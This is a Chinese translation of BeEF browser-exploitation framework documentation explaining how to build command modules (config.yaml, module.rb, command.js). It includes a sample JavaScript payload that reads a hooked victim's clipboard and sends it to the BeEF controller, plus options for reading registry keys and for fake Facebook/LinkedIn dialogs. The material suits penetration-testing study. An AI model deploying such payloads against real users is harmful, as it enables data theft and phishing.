BeEF 模塊創建
介紹
BeEF是使用模塊化開發原理設計的,因此可以很容易地使用命令模塊創建和添加新功能。
模塊全部存儲在Beef / modules目錄中,并由三個主要文件組成:
- config.yaml - 配置文件描述一個模塊的屬性。
- module.rb-使模塊與BeEF Web界面集成
- command.js-將在掛鉤的瀏覽器上執行的JavaScript“有效載荷”
YAML配置文件(config.yaml)
YAML配置文件嵌入了五條信息:
- 模塊名稱
- 作者姓名
- 模塊說明
- 模塊類別
- 兼容的瀏覽器和操作系統
例如,這是Detect Firebug模塊的config.yaml :
beef:
module:
detect_firebug:
enable: true
category: "Browser"
name: "Detect FireBug"
description: "This module checks if the Mozilla Firefox Firebug extension is being use to inspect the current window."
authors: ["bcoles"]
target:
working: ["FF"]
not_working: ["All"]
三個數組用于定義瀏覽器兼容性:working,not_working或user_notify。
瀏覽器使用主要字母縮寫:
- “FF”: Firefox
- “O”: Opera
- “C”: Chrome
- “S”: Safari
- “IE”: Internet Explorer
- “All”: All browsers
通過提供每個瀏覽器,可以定義可利用的最低和最高版本。
在訪問URL獲取模塊是一個很好的例子:
target:
working:
IE:
min_ver: 6
max_ver: 7
FF:
min_ver: 3
max_ver: 3
C:
min_ver: 1
max_ver: 5
S:
min_ver: 3
max_ver: 3
O:
min_ver: 1
max_ver: 10
not_working: ["All"]
Web界面集成(module.rb)
接下來,您需要編寫module.rb文件,該文件定義模塊在BeEF界面中的顯示方式。BeEF已經定義了高級方法和對象來執行此操作,因此它更像是填寫模板。
基本架構
首先創建文件并使用以下模板:
class Your_module_name < BeEF::Core::Command
# This method defines the options proposed to the user in the web interface
def self.options
end
# This method will be called before sending the payload
def pre_send
end
# This method will be called when BeEF receives an answer from the hooked browser
def post_execute
end
end
定義數據類型
該self.options方法應返回它定義向用戶建議數據的數組。這是一個從現有模塊中提取不同字段的示例:
def self.options
return [{
'name'=>'key_paths',
'ui_label' => 'Key(s)',
'description' => 'Enter registry keys. Note: each key requires its own line',
'type'=>'textarea',
'width' => '500px',
'height' => '350px',
'value'=>'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\\SystemProductNam'
},
{
'name' => 'iFrameSandbox',
'ui_label' => 'Sandbox',
'type' => 'checkbox',
'checked' => 'checked'
},
{
'name' => 'choice',
'type' => 'combobox',
'ui_label' => 'Dialog Type',
'store_type' => 'arraystore',
'store_fields' => ['choice'],
'store_data' => [['Facebook'],['LinkedIn'],['Generic']],
'valueField' => 'choice',
'value' => 'Facebook',
editable: false,
'displayField' => 'choice',
'mode' => 'local',
'autoWidth' => true
}]
end
保存返回的信息
可以將腳本收集的信息保存在掛鉤的瀏覽器的信息列表中。該操作應在post_execute函數中完成,例如,這是“ 瀏覽器指紋”模塊的源代碼:
def post_execute
content = {}
content['browser_type'] = @datastore['browser_type'] if not @datastore['browser_type'].nil?
content['browser_version'] = @datastore['browser_version'] if not @datastore['browser_version'].nil?
if content.empty?
content['fail'] = 'Failed to fingerprint browser.'
end
save content
end
Javascript有效負載(command.js)
最后一個必需文件是command.js包含JavaScript有效負載的文件。有效負載應包含在Beef.execute調用的函數中。
以下命令應用于將信息返回給BeEF控制器:
eef.net.send("<%= @command_url %>", <%= @command_id %>, "data");
BeEF JavaScript API已經包含許多有趣的功能和嵌入式jQuery.
beef.execute(function() {
if (clipboardData.getData("Text") !== null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboardData.getData("Text"));
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard=clipboardData.getData is null or not supported.");
}
});
將外部對象綁定到指定的URI
您可以將外部對象綁定到已定義的URI,以便從掛鉤的瀏覽器中使用它:
class Your_module < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/path/to/file','/uri','extension')
end
def post_execute
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/uri.extension')
end
end
將原始HTTP響應綁定到指定的URI
您可以將原始HTTP響應(報頭和正文)綁定到已定義的URI,以便從掛鉤的瀏覽器中使用它:
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', {'Content-Type'=>'text/html'}, 'hello world!', '/hello_world', -1)
end
使用BeEF配置信息
您可以在以下設備中使用BeEF配置中的信息module.rb:
class Your_module < BeEF::Core::Command
def self.options
configuration = BeEF::Core::Configuration.instance
hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/report.html"
return [
{'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri },
]
end
end
BeEF中文文檔
推薦文章: